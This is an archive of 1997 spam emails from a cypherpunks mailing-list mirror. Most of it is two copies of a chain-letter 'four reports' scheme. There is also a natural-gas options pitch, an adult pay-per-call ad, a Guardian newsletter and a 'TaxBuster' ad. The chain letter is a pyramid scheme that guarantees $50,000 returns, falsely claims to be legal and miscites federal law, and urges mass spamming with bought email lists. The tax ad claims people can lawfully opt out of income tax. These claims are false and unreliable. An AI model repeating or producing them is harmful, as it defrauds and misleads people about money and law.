I should also point out that I will not see a penny of your money, nor anyone else who has provided a testimonial for this program. I have already made over FOUR MILLION DOLLARS! I have retired from the program after sending out over 16,000 programs. Now I have several offices which market this and several other programs here in the US and overseas. By the Spring, we wish to market the 'internet' by a partnership with AMERICA ON LINE.


Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to email a copy of this exciting program to everyone that you can think of. One of the people you send this to may send out 50,000 .... and your name will be on every one of them! Remember though, the more you send out, the more potential customers you will reach.


So my friend, I have given you the ideas, information, materials and opportunity to become financially independent, IT IS UP TO YOU NOW!


"THINK ABOUT IT"


Before you throw this away or delete it from your mailbox, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and paper and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! Definitely get back what you invested. Any doubts you have will vanish when your first orders come in. IT WORKS!


                                                                              Paul Johnson, Raleigh, NC


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$$$$$$


Let's say that you decide to start small, just to see how it goes, and we'll assume that the mailing receives a 5% response. Using a good list the response could be much better. Also, many people will send out hundreds of thousands of programs instead of 2,000. But continuing with this example, you send out only 2,000 programs. With a 5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those 5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. the 5% response to that is 1,000 orders for REPORT #3. Those 1,000 send out 2,000 programs each for 2,000,000 total. The 5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!!! Your total income in this example of $50 + $500 + $5000 + $50,000 for a total of $55,500!!!!!!


REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING.....AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2000. Believe me, many people will do that and more! By the way, your cost to participate in this is practially nothing if you go the email route. Email is FREE! REPORT #3 will show you the best methods for bulk emailing and purchasing email lists. If you go the regular mail route, that also will provide you with a very nice income. The costs for regular mail are higher.


THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail. If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT! Simply follow the instructions, and your dreams will come true. This multi-level order marketing program works perfectly .... 100% EVERY TIME. If you have a computer, email is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW!!! The longer you wait, the more people will be doing business using email. Get your piece of this action now!!!


MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-Level Methods by the mid to late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing.


INSTUCTIONS


We at Erris Mail Order Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME. I am sure that you could use $50,000 to $125,000 in the next 20 to 90 days. Before you say "Bull", <B>please read the program very carefully!</B>


This is not a chain letter, but a perfectly legal money making opportunity. Basically, this is what we do: As with all multi-level business, we build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multi-level business partners, and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling. You do it privately in your own home, store or office.


This is the GREATEST Multi-level Mail OrderMarketng anywhere:


Step (1) <B>ORDER ALL FOUR (4) REPORTS LISTED BY NAME AND NUMBER.</B>
             Do this by ordering the REPORT from each of the four (4) names listed. For
             each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED
             envelope (BUSINESS SIZE #10) to the person LISTED for the SPECIFIC
             REPORT. International orders should also include $1 extra for postage. It is
             essential that you specify the NAME and NUMBER of the report requested
             to the person you are ordering from. You will need ALL FOUR REPORTS
             because you will be REPRINTING and RESELLING them. DO NOT alter the
             names or sequence other than what the instructions say. IMPORTANT:
             Always provide same-day service on all orders.


Step (2) <B>REPLACE THE NAME AND ADDRESS UNDER REPORT #1 WITH YOURS,
             </B>moving the one that was there down to REPORT #2. Drop the name and
             address under REPORT #2 to REPORT #3, moving the one that was there to
             REPORT #4. The name and address that was under REPORT #4 is dropped
             from the list and this party is no doubt on the way to the bank. When doing
             this, make certain you type the names and addresses ACCURATELY! DO
             NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!!


Step (3) <B>HAVING MADE THE REQUIRED CHANGES IN THE NAME LIST,</B> save it as
             Text (.txt) file in its own directory to be used with whatever email program you
             like. Again, REPORT #3 will tell you the best methods of bulk emailing and
             acquiring email lists.


Step (4) <B>EMAIL OR MAIL A COPY OF THE ENTIRE PROGRAM</B> (ALL OF THIS IS
             VERY IMPORTANT) TO EVERYONE whose address you can get your hands
             on. Start with friends and relatives since you can encourage them to take
             advantage of this fabulous money-making opportunity. That's what I did. And
             they love me now, more then ever. Then, email to anyone and everyone! Use
             your imagination! You can get email addresses from companies on the
             internet who specialize in email mailing lists and services, mailing them for
             you. These are very inexpensive, 100,000 addresses for around $50.00 up.


<B>IMPORTANT: </B>You won't get a good response if you use an old list, so ALWAYS request a FRESH, NEW list. You will find out where to purchase these lists when you order the four (4) reports.


<B>ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!


REQUIRED REPORTS


</B>**** Order each REPORT by NUMBER and NAME ****


ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER.


<B>**** REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"</B>
  
<B>ORDER REPORT #1 FROM:


</B>          <B>THE "Z" COMPANY
          </B>1506 Audubon Place
          Shreveport, La. 71105


<B>**** REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"


ORDER REPORT #2 FROM:


          KZT
</B>          1013 Speed
          Monroe, La. 71201
 
**** <B>REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"


ORDER REPORT #3 FROM:
</B>
          <B>SOUTHERN S. S.</B>
          1324 Chopin
          Bossier City, La. 71112


<B>**** REPORT #4 "EVALUTING MULTI-LEVEL SALES PLANS"


ORDER REPORT #4 FROM:


          PREMIER CO.
          </B>115 Fielder Lane
          Shreveport, La. 71105



CONCLUSION!


I am enjoying my fortune that I made by sending out this program. You, too, will be making money in 20 - 90 days, if you follow the SIMPLE STEPS outlined in this mailing.


To be financially independent is to be FREE. Free to make financial decisions as never before. Go into business, get into investments, retire or take a vacation. No longer will a lack of money hold you back.


However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it. It is much easier to say "NO" than "YES", and this is the question that you must answer. WILL YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change. PLEASE re-read this material, this is a special opportunity. If you have questions, please feel free to write to the sender of this information. You will get a prompt and informative reply.


My method is simple. I sell thousands of people a product for $5 that costs me pennies to produce and email. I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam. At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, no product what-so-ever! Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive.


You are offering a legitimate product to your people. After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise. As you learned from the enclosed material, the PRODUCT is a series of four (4) FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program. The concise one and two page REPORTS you will be buying can easily be reproduce at a local copy center for a cost of about 3 cents a copy. Best wishes with the program and GOOD LUCK!


<B>"IT WAS TRULY AMAZING"


</B>"Not being the gambling type, it took me several weeks to make up my mind to participate in this program. But conservative as I am, I decided that the initial investment was so little that there was no way that I could NOT get enough orders to at least get my money back. BOY, was I ever surprised when I found my medium sized post office box crammed with orders! I will make more money this year than any ten years of my life before".


                                                      Mary Riceland, Lansing, MI


<B>TIPS FOR SUCCESS</B>


Send for your 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws. Title 18, Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED".


WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:


1.      Name your new company. You can use your own name if you desire.


2.      Get a post office box (preferred).


3.      Edit the names and addresses on the program. You MUST remember, your name
         and address go next to REPORT #1 and the others all move down one, with the
         fourth one being bumped OFF.


4.      Obtain as many addresses as possible to send until you receive the information
         on the mailing list companies in REPORT #3.


5.      Decide on the number of programs you intend to send out. The more you send out
         and the quicker you send them, the more money you will make.


6.      After mailing the programs, get ready to fill the orders.


7.      Copy the four 4 REPORTS so you are able to send them out as soon as you
         receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON
         ORDERS YOU RECEIVE!


8.      Make certain the letter and reports are neat and legible.


YOUR GUARANTEE!


The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a MUST!!!! If you don't within two weeks, email out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, IF YOU DON'T, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (TAKE A DEEP BREATH) you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above GUARANTEES  -  ALL have reached their $50,000 goal. Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!!


<B>
REMEMBER:


"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING".


"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT THE REST OF YOUR LIFE".



GOOD LUCK!</B>






<FONT  COLOR="#000000" SIZE=3>
</PRE></HTML>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 77574525@msn
Date: Thu, 3 Jul 1997 21:06:29 -0700 (PDT)
To: friend3x@public.com
Subject: Free investment information!
Message-ID: <199700070025.gaa08056>
MIME-Version: 1.0
Content-Type: text/plain


DON NOT CLICK REPLY, IT WILL NOT WORK, USE LINKS LISTED BELOW IN MESSAGE

Natural gas futures contracts on the New York Mercantile Exchange (NYMEX) have 
hit record high levels for the past two years in the winter months.  But why?

The answer lies in the simple economic principle of supply and demand.  Winter 
brings with it colder temperatures and an increased demand for Natural Gas.  
Also, "just-in-time" inventory management practices have been adopted widely 
in the energy industry.  Corporate attempts to cut costs of stockpiling have 
led to lower supplies.

That was the past; what does the future hold?
No one can answer that question with absolute certainty.  However, key 
indicators appear to be pointing to another significant move in the price of 
Natural Gas going into the winter months.  First, demand for Natural Gas has 
been increased by the U.S. adding over 1.5 million new Natural Gas heating 
units in 1996.  Second, the American Gas Association reported that supplies in 
underground storage are only at 38% of the total nationwide capacity.  
Illustrating the point made earlier about the Corporations trying to keep 
costs of stockpiling low to possibly boost earnings for stockholders.

What is the profit potential?
An investment of $5,000 and a $.50 realized gain in the value of your Natural 
Gas options could return as much $25,000.

How realistic is it that the price of Natural Gas will move $.50?
The average seasonal price increase over the last seven years of trading 
Natural Gas futures contracts has been $1.44.  The smallest seasonal move was 
$.51 and the largest move $2.86. 

How do I receive my free information on the Natural Gas and other futures 
markets?
Very easily; just send an email to nmp123@lostvegas.com including :
*Name
*Address
*Phone
*Best time to call
(No packages can be sent without this information and please place Natural Gas 
in the subject or body of the message.)

A Series-3 registered broker will call to confirm the request for information. 
 All brokers are registered with and regulated by the National Futures 
Assoc.(NFA) and the Commodities Futures Trading Commission(CFTC).
  
Please only serious inquiries.

Past performance is not necessarily indicative of future results.  You could 
lose part or all of your investment.  However, when purchasing options your 
risk is predetermined to the amount you invest.  Commissions and fees will 
impact the total amount returned to the client.  Options do not move dollar 
for dollar with the underlying futures contract until expiration date.

If you would like to be removed from our mailing list please send an email to: 
 nmp123@lostvegas.com.  Please place remove in the subject or body of the 
letter.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: empower@murlin.com
Date: Fri, 4 Jul 1997 00:40:38 -0700 (PDT)
To: dynamarket@vaprnet.com</A>
Subject: Walk the Talk.
Message-ID: <dynamarket@vaprnet.com>
MIME-Version: 1.0
Content-Type: text/plain


Sadly, 99.9 percent of all unsolicited e-mail *is* junk.

But sometimes you find a jewel in the septic tank.

We walk the talk.

Discover an extensive selection of cutting edge
information, free links and tools to help you
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: newlife@saveself.com
Date: Fri, 4 Jul 1997 05:23:27 -0700 (PDT)
To: newlife@savetrees.com
Subject: $$$ GET YOUR SHARE $$$
Message-ID: <0000000000.AAA000@saveself.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>



You are about to make at least $50,000 - In less than 90 days
Read the enclosed program...THEN READ IT AGAIN!... 

Dear Friend,

I know that this seems like another one of those E-mails trying to 
clutter up your mail box, but if you will give me five minutes of your
 time to read this letter I think that you will understand why.

My name is Christopher Erickson. Two years ago, the corporation
I worked at for the past twelve years down-sized and my position
 was eliminated. After unproductive job interviews, I decided to 
open my own business... Soon I owed my family, friends, and 
creditors over $35,000... I had to refinance and borrow against my
 home to support my family and struggling business.
 AT THAT MOMENT something significant happened in my life and
 I am writing to share my experience in hopes that this will change
 your life FOREVER... FINANCIALLY!!!

I received this program via e-mail. THANK GOODNESS they got
 my name off a mailing list!!! After reading it several times, to make 
sure I was reading it correctly, I couldn't believe my eyes. Here was
 a MONEY-MAKING PHENOMENON. I could invest as much as I 
wanted without putting me further in debt. I figured I would at least 
get my money back. After determining that the program is
 LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".

Initially I sent out 10,000 e-mails. It only cost me about $15.00 for
 my time on-line.  The great thing about e-mail is that I didn't need 
any money for printing to send out the program, only the cost to fulfil
l my orders. I am telling you like it is, I hope it doesn't turn you off, 
but I promised myself that I would not "cheat" anyone, no matter
 how much money it cost me!.

In one week, I was receiving orders for REPORT #1. In less than
 a month, I had received 26 orders for REPORT #1. When you read
 the GUARANTEE in the program, you will see that
 "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1
 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE
 PROGRAMS UNTIL YOU DO!"
 My first step in making $50,000 in 20 to 90 days was I paid off ALL
 my debts and bought a much needed new car. Please take time to 
read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
 Remember, it wont work if you don't try it. This program does work, 
but you must follow it EXACTLY! Especially the rules of not trying to 
alter the names or sequence.  REPORT #2 explains this. Always
 follow the guarantee, 15 to 20  orders for REPORT #1, and 100 or
 more orders for REPORT #2 and you will make $50,000 or more in
 20 to 90 days. I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry. It really is a
 great opportunity with little cost or risk to you. If you choose to
 participate, follow the program and you will be on your way to financial
 security. 

If you are a fellow business owner and you are in financial trouble like
 I was, or you want to start your own business, consider this a sign. I DID!

                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on
a kitchen table? IT'S AWESOME!


"THREW IT AWAY"

"I had received this program before. I threw it away, but later wondered if
 I shouldn't have given it a try. Of course, I had no idea who to contact to
 get a copy, so I had to wait until I was emailed another copy of the program. 
 Eleven months passed, then it came. I DIDN'T throw this one away. I
 made $41,000 on the first try."

                                        Dawn W., Evansville, IN


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over 
the enclosed program and reports, you should have concluded that
 such a program, and one that is legal, could not have been created
 by an amateur.

Let me tell you a little about myself. I had a profitable business for
 ten years. Then in 1979 my business began falling off. I was doing 
the same things that were previously successful for me, but it wasn't
working. Finally, I figured it out. It wasn't me, it was the economy.
Inflation and recession had replaced the stable economy that had
 been with us since 1945. I don't have to tell you what happened to
the unemployment rate... because many of you know from first hand 
experience. There were more failures and bankruptcies than ever before.

The middle class was vanishing. Those who knew what they were
 doing invested wisely and moved up. Those who did not, including 
those who never had anything to save or invest, were moving down
 into the ranks of the poor. As the saying goes,
 "THE RICH GET RICHER AND THE POOR GET POORER." 
The traditional methods of making money will never allow you to 
"move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
 for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT." 
You can make more money in the next few months than you have ever imagined.

I should also point out that I will not see a penny of your money, nor anyone
 else who has provided a testimonial for this program. I have already made
 over FOUR MILLION DOLLARS! I have retired from the program after sending 
out over 16,000 programs. Now I have several offices which market this and 
several other programs here in the US and overseas.  By the Spring, we wish
to market the 'Internet' by a partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way.
 It works exceedingly well as it is now. Remember to e-mail a copy of this
 exciting program to everyone that you can think of. One of the people you
 send this to may send out 50,000... and your name will be on every one of
them!. Remember though, the more you send out, the more potential customers
 you will reach.

So my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take a little
 time to read it and REALLY THINK ABOUT IT. Get a pencil and figure out
 what could happen when YOU participate. Figure out the worst possible 
response and no matter how you calculate it, you will still make a lot of money!
Definitely get back what you invested. Any doubts you have will vanish when
 your first orders come in. IT WORKS!

                                        Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

If you decide to start small, just to see how it goes, then let's assume you 
and all those involved send out 2,000 programs each. Let's also assume
 that the mailing receives a .5% response.
 That is only 10 orders for REPORT #1! Those 10 people respond by 
sending out 2,000 programs each for a total of 20,000. Out of those .5%, 
100 people respond and order REPORT #2. Those 100 mail out 2,000 
programs each for a total of 200,000. The .5% response to that is 1,000
 orders for REPORT #3. Those 1,000 send out 2,000 programs each for 
a 2,000,000 total. The .5% response to that is 10,000 orders for
 REPORT #4. That's 10,000 five dollar bills for you. CASH!!!!

Your total income in this example is $50 + $500 + $5000 +
 $50,000 for a total of $55,550!!! REMEMBER FRIEND, THIS IS
 ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO 
ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM! DARE 
TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
 OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 
2,000. Believe me, many people will do that and more! By the way, your
 cost to participate  THIS IS A LEGITIMATE, LEGAL, MONEY MAKING
 OPPORTUNITY. It does not require you to come in contact with people,
 do any hard work, and best of all, you never have to leave the house
 except to get the mail.  Someday you'll get that big break that you've
 been waiting for, THIS IS IT! Simply follow the instructions, and your
dream will come true. This multi-level e-mail order marketing program
works perfectly... 100% EVERY TIME.

E-mail is the sales tool of the future. Take advantage of this
 non-commercialized
 method of advertising NOW!! The longer you wait, the more people
will be doing business using e-mail. Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.
 It is being taught in the Harvard Business School, and both Stanford 
Research and The Wall Street Journal have stated that between
 50% and 65% of all goods and services will be sold throughout
 Multi-level Methods by the mid to late 1990's. This is a Multi-Billion 
Dollar industry and of the 500,000 millionaires in the US, 20%
 (100,000) made their fortune in the last several years in MLM.
Moreover, statistics show 45 people become millionaires everyday
 through Multi-Level Marketing.

INSTRUCTIONS

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1) Order all four 4 REPORTS listed by NAME AND NUMBER.
 Do this by ordering the REPORT from each of the four 4 names
 listed on the next page. For each REPORT, send $5 CASH and a
 SELF- ADDRESSED, STAMPED envelope (BUSINESS SIZE #10)
 to the person listed for the SPECIFIC REPORT.

International orders should also include $1 extra for postage. It is
 essential that you specify the NAME and NUMBER of the report 
requested to the person you are ordering from. You will need
 ALL FOUR 4 REPORTS because you will be REPRINTING and
 RESELLING them. DO NOT alter the names or sequence other
 than what the instructions say. 
IMPORTANT: Always provide same-day service on all orders.

Step (2) Replace the name and address under REPORT #1 with 
yours, moving the one that was there down to REPORT #2. Drop
 the name and address under REPORT #2 to REPORT #3, 
moving the one that was there to REPORT #4. The name and 
address that was under REPORT #4 is dropped from the list and
 this party is no doubt on the way to the bank. When doing this,
 make certain you type the names and addresses ACCURATELY!
 DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

Step (3) Having made the required changes in the NAME list, save it as
 a text (.txt) file in it's own directory to be used with whatever e-mail
 program you like. Again, REPORT #3 will tell you the best methods of 
bulk emailing and acquiring e-mail lists.

Step (4) E-mail a copy of the entire program (all of this is very important)
 to everyone whose address you can get your hands on. Start with friends
 and relatives since you can encourage them to take advantage of this
 fabulous money-making opportunity. That's what I did. And they love
 me now, more than ever. Then, e-mail to anyone and everyone! Use
 your imagination!  You can get e-mail addresses from companies on the
 Internet who specialize in e-mail mailing lists. These are very cheap, 
100,000 addresses for around $35.00.

IMPORTANT: You won't get a good response if you use an old list, so
 always request a FRESH, NEW list. You will find out where to purchase
 these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER

________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:


WFH  MARKETING
PO BOX 425
WHITMAN, MA  02382
USA

________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

Skynr Comm.  Inc   
1108 Skyline Dr.
Suite 421
Arlington,  TX   76011		
USA

________________________________________________________
REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Geddie Marketing
4700 Dester Ave.
Box  222
Ft.  Worth   TX   76107






________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Trestken Market Research
P. O. Box 1442
Pottsboro, TX 75076
USA

________________________________________________________

CONCLUSION

I am enjoying my fortune that I made by sending out this program. You too,
will be making money in 20 to 90 days, if you follow the SIMPLE STEPS
outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
 decisions as never before.  Go into business, get into investments, retire
 or take a vacation.  No longer will a lack of money hold you back.

Please re-read this material, this is a special opportunity. If you have any 
questions, please feel free to write to the sender of this information. 
You will get a prompt and informative reply.

My method is simple. I sell thousands of people a product for $5 that 
costs me pennies to produce and e-mail. I should also point out that 
this program is legal and everyone who participates WILL make money. 
This is not a chain letter or pyramid scheme. At times you have probably
 received chain letters, asking you to send money, on faith, but getting
 NOTHING in return, NO product what-so-ever! Chain letters are illegal
 and the risk of someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people. After they purchase
the product from you, they reproduce more and resell them. It's simple free
 enterprise. As you learned from the enclosed material, the PRODUCT is a
series of four 4 FINANCIAL AND BUSINESS REPORTS. The information
 contained in these REPORTS will not only help you in making your 
participation in this program more rewarding, but will be useful to you in any
 other business decisions you make in the years ahead. You are also
 buying the rights to reprint all of the REPORTS, which will be ordered 
from you by those to whom you mail this program. The concise one and 
two page REPORTS you will be buying can easily be reproduced at a
 local copy center for a cost off about 3 cents a copy. Best wishes with
 the program and Good Luck!

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws. Title 18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1. Name your new company. You can use your own name if you
    desire.

2. Get a post office box (preferred).

3. Edit the names and addresses on the program. You must remember, your name and address go next to REPORT #1 and the others all move down one, with the fourth one being bumped OFF the list.

4. Obtain as many e-mail addresses as possible to send until you receive the information on mailing list companies in REPORT #3. 

5. Decide on the number of programs you intend to send out. The more you send, and the quicker you send them, the more money you will make.

6. After mailing the programs, get ready to fill the orders.

7. Copy the four 4 REPORTS so you are able to send them out as soon as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON ORDERS YOU
RECEIVE!

8. Make certain the letter and reports are neat and legible.

    YOUR GUARANTEE

The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a must!!! If you don't within two weeks, e-mail out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, if you don't, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (take a deep breath) you can sit back and relax,  because  YOU  ARE  GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of  those  who  have participated in the program and reached the above GUARANTEES-ALL have reached their $50,000 goal.  Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."




</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: claudine@adultpatrol.com
Date: Fri, 4 Jul 1997 14:01:27 -0700 (PDT)
To: claudine@adultpatrol.com
Subject: Make $$$ with 800 Phone Numbers
Message-ID: <20490774600333@adultpatrol.com>
MIME-Version: 1.0
Content-Type: text/plain


 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Intended for Adult Webmasters.  If you have received this in error, please accept our 
apologizes and simply click on "REPLY" and type "REMOVE" in the "SUBJECT BOX" 
once you have done this, you will never receive another email from us.

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tired of getting only .20 per minute on your Pay Per Call Numbers ?

How about .90 per minute !!!  

Well, we the owners of Adult Patrol are now offering this service on 1-800 
Pay Per Call Numbers.

Offering both Live Female and Gay Male Services.

Just visit or new Pay Per Call Section at:

http://www.adultpatrol.com/phonesex/

and get the details on some of the highest pay outs in the industry.

Hope to see you there,

Claudine
Adult Patrol Admin
http://www.adultpatrol.com/phonesex




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Mon, 14 Jul 1997 12:29:13 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Going to any festivals?
Message-ID: <199707041829.SAA01668@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


In this week's Festival Issue of the award-winning 
Shift Control (http://www.shiftcontrol.com)...

Reg Presley, lead singer with Sixties legends the Troggs, 
provides a sound argument for today's festivals; we 
supply full listings for 30 summer events throughout 
Britain and Europe; and this week's interactive quiz 
asks: how wild are you about festivals?

Plus...

"Take your own food. Some people see a festival as 
an opportunity to lose a couple of stone, and judging 
by most of the food sold at them it's not difficult to 
see why. Just because it's organic doesn't mean it's 
edible, man. Take your own bread and Pringles. A baguette 
is also a good idea, as you can wave it in the air during 
an Orbital gig." 
- Nick Green on what to take and what not to take to a 
summer festival.

"While Richard Krajicek and friends took early showers, 
mud baths were the order of the day at Glastonbury. It 
seems that those at Glastonbury enjoyed a weekend of filthy, 
sweaty, fun, while at Wimbledon it was all code violations 
and double faults. If we are really to admire our sporting 
heroes, isn't it about time they had some more balls in the rain?" 
- Roland Rocks rants about British tennis's lack of sporting 
courage.

"We ate felafel, chick-pea curry and something with yellow 
peas poured from a bucket, then decided to head backstage. 
There we bumped into too many people we know who proceeded go 
on about their hotel rooms, showers and marble-lined bathroom 
suites with pre-heated loo paper. We decide it was time to 
either leave or kill them." 
- Simon Waldman on the great Glasto wash-out.

Shift Control: raking the muck, NOW, at 
http://www.shiftcontrol.com
__________________________________________

Shift Control is produced by the Guardian's New Media Lab with 
help from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FutureGate Web Services <taxbuster@futuregate.com>
Date: Fri, 4 Jul 1997 20:47:35 -0700 (PDT)
To: Celebrating July 4th <cyberstaci@aol.com>
Subject: Income Tax News - July 4th Edition
Message-ID: <199707050347.UAA24630@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Happy 4th of July!!

I hope your celebration is going well. I am celebrating with a special announcement of the new expanded TaxBuster Guide. Although the second addition contains much new information on how you can lawfully opt out of the Federal income tax system, the price for access to the web-site will remain at $9.95 to celebrate the 221st birthday of the Declaration of Independence.

If you have ever wanted to study this powerful information now is the best time, visit the TaxBuster Guide at:

http://www.futuregate.com/tax_buster

You will also find links to other great sites like:

AutoBuy - The Buyer's Resource
Marie's Country Music Island
FutureGate's Best WWW Hosting and Web-Site Promotion
The Watkins Products Catalog - Online


----------------------------------------------------------------------

To be removed from any future mailings, just reply with REMOVE in the
subject line.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
